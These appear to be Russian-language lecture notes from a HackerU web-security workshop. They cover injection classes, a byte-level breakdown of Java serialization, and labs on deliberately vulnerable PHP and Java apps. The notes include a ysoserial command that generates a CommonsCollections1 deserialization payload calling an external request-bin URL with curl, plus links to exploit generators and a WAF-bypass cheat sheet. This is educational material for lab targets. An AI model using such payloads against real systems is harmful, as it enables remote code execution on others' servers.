Общаемся 2 часа с перерывом на 15 минут
Моя задача рассказать об интересных атаках и объяснить как научиться их проводить
Первый час будет рассказ об атаках на веб приложения
Второй час будет демонстрацией практического применения атак
Будет сложно? - Да, будет Будет больно? - Сначала нет, потом да Будет полезно? - Конечно, да
-
Установленная и настроенная среда для работы с docker. (Для Windows: https://docs.docker.com/docker-for-windows/install/, Для MacOS: https://docs.docker.com/docker-for-mac/install/)
-
Установленный инструмент для анализа и модификации трафика Burp Suite Community Edition: https://portswigger.net/burp/
- Настройка BurpSuite для браузера Mozilla: https://portswigger.net/support/configuring-firefox-to-work-with-burp
- Настройка BurpSuite Proxy: https://portswigger.net/support/checking-your-browser-proxy-configuration
- Настройка сертификатов для проксирования трафика SSL в BurpSuite: https://portswigger.net/support/installing-burp-suites-ca-certificate-in-your-browser
Код простого приложения: https://dropmefiles.com/9CSzp
Код сложного приложения: https://dropmefiles.com/k2y7t
Egor Bogomolov Security specialist, Application security expert
My skills
- Анализ защищенности веб-приложений (BlackBox, GrayBox, WhiteBox)
- Анализ защищенности мобильных приложений Android, iOS (BlackBox, GrayBox, WhiteBox)
- Анализ защищенности беспроводных сетей
- Проведение атак на сотрудников компаний с применением методов социальной инженерии
- Разработка задач и проведение CTF турниров
- Работа с инфраструктурой (docker / docker-compose)
- Анализ кода (PHP, Python, Java, JS)
- Безопасность Windows / Linux
- Разработка инструментов автоматизации процессов анализ защищенности
Certificates
Offensive Security Certified Professional (OSCP)
Links
Telegram: @empty_jack Telegram Channel: @YAH_Channel E-mail: empty.jack@yandex.ru Corp: e.bogomolov@hackeru.com
Work experience
Positive Technologies | InfoSec.ru | Bi.Zone | Wallarm | HackerU
- Программы разрабатываются с учетом образовательного опыта, накопленного в 13-ти странах мира на протяжении двух десятков лет.
- Ядро экспертизы - мировой опыт Израиля - лидера в вопросах борьбы с киберпреступностью
- Обучение проводят эксперты, работающие в крупнейших российских и зарубежных IT компаниях.
- Миссия HackerU — сократить дефицит специалистов в области информационных технологий, кибербезопасности и открыть талантливым людям путь к высокому заработку и мобильности.
Из чего состоят?
- Клиентская часть
- Серверная часть
- Хранилище данных
- Прочие компоненты
Клиентская часть | Серверная часть | Хранение данных | Другие компоненты |
---|---|---|---|
Electron | Nginx | Files System | Reverse-Proxy |
JavaScript | Apache | MySQL | Load Balancer |
TypeScript | Apache Tomcat | PostgreSQL | Proxy Server |
ReactJS | Microsoft IIS | mongoDB | Cache Server |
Redux | Gunicorn | Oracle | WebSocket |
AngularJS | uWSGI | IBM DB 2 | Web Application Firewall |
Vue.js | Java | Microsoft SQL Server | |
jQuery | Python | SQLite | |
PHP | Redis | ||
NodeJs | Memcached | ||
C# | Neo4j | ||
Go | Tarantool | ||
RubyOnRails | XML | ||
YAML |
"В компьютерной безопасности термин «уязвимость» (англ. vulnerability) используется для обозначения недостатка в системе, используя который, можно намеренно нарушить её целостность и вызвать неправильную работу." - Wiki
"Компьютерная атака - целенаправленное несанкционированное воздействие на информацию, на ресурс автоматизированной информационной системы или получение несанкционированного доступа к ним с применением программных или программно-аппаратных средств." - Wiki
Какая атака будет самой эффективной? (Которая позволит захватить полное управление над всеми компонентами системы)
Вопрос: Какие уязвимости могут к такому результату привести?
Отличное описание данного вида инъекций: https://cwe.mitre.org/data/definitions/74.html
Разбор уязвимостей инъекции с примерами и формализацией: https://owasp.org/www-community/Injection_Theory
Разновидность контекстов в которые может происходить инъекция:
- SQL запросы;
- LDAP запросы;
- Интерпретаторы команд операционной системы;
- Программный код;
- XML документы;
- HTML документы;
- JSON структуры;
- HTTP заголовки;
- Пути файлов;
- URL;
- Разнообразные скриптовые языки (Expression languages);
- Протоколы обмена данными;
- ...
Нас ждет: Проработка двух примеров атак (простого и сложного) на уязвимые веб-приложения, разработанные на языках PHP и Java.
Язык программирования: PHP
Уязвимость: инъекция команд
Код приложения: https://dropmefiles.com/9CSzp
Запуск (в папке с кодом):
docker-compose up
Язык: Java
Уязвимость: инъекция объектов и атаки на десериализацию
Код приложения: https://dropmefiles.com/k2y7t
Запуск (С использованием Docker Hub):
docker run -p 8090:8090 greendog/wv_java
Thx to @GrrrDog (Взято с: https://github.com/GrrrDog/ZeroNights-WebVillage-2017/tree/master/javadeser)
Сериализация (Serialization) — это процесс, который переводит объект в последовательность байтов, по которой затем его можно полностью восстановить.
Подробнее о процессе сериализации: https://habr.com/ru/post/60317/
Пример класса:
import java.io.Serializable;
class TestSerial implements Serializable {
public byte count = 0;
public byte version = 100;
}
Пример сериализованного объекта из класса:
AC ED 00 05 73 72 00 0A 53 65 72 69 61 6C 54 65
73 74 A0 0C 34 00 FE B1 DD F9 02 00 02 42 00 05
63 6F 75 6E 74 42 00 07 76 65 72 73 69 6F 6E 78
70 00 64
Давайте рассмотрим, что собой представляет каждый байт в сериализованном объекте. В начале идёт информация о протоколе сериализации:
AC ED
: STREAM_MAGIC. Говорит о том, что используется протокол сериализации.00 05
: STREAM_VERSION. Версия сериализации.0x73
: TC_OBJECT. Обозначение нового объекта.
На первом шаге алгоритм сериализации записывает описание класса ассоциированного с объектом. В примере был сериализован объект класса TestSerial, следовательно алгоритм начал записывать описание класса TestSerial.
0x72
: TC_CLASSDESC. Обозначение нового класса.00 0A
: Длина имени класса.53 65 72 69 61 6c 54 65 73 74
: TestSerial, имя класса.A0 0C 34 00 FE B1 DD F9
: SerialVersionUID, идентификатор класса.0x02
: Различные флаги. Этот специфический флаг говорит о том, что объект поддерживает сериализацию.00 02
: Число полей в классе.
Теперь алгоритм записывает поле byte version = 100;.
0x42
: Код типа поля. 42 это «B», которое закреплено за Byte.00 05
: Длина имени поля.63 6F 75 6E 74 42
: count, имя поля.
Затем алгоритм записывает следующее поле, byte version = 100; и заканчивает описание полей класса.
0x42
: Код типа поля.00 07
: Длина имени поля.76 65 72 73 69 6F 6E
: version, имя поля.0x78
: TC_ENDBLOCKDATA, конец опционального блока данных для объекта.0x70
: TC_NULL, обозначает то что больше нет суперклассов, потому что мы достигли верха иерархии классов.
До этого алгоритм сериализации записывал описание классов ассоциированных с объектом. Теперь будут записаны фактические данные ассоциированные с объектом.
00
: Значение поля count - 064
: Значение поля Version - 100
The end.
Атаки десериализации: https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
Еще больше про атаки десериализации: https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet
Генерация эксплойтов: https://github.com/frohoff/ysoserial (Для работы необходим JRE или JDK)
Эксплуатация десериализации довольно сложна, так как готовые эксплойты редко работают без изменений или настроек базового кода эксплойта.
Команда для генерации эксплойта при помощи ysoserial для определенного нами случая:
java -jar ysoserial.jar CommonsCollections1 'curl https://end0tza2akqhv.x.pipedream.net/' | base64
JSON etc poheck:
https://github.com/mbechler/marshalsec
Request Bin
http://requestbin.net/
http://requestbin.com/
CyberChef:
https://gchq.github.io/CyberChef/
WAF Bypass:
https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet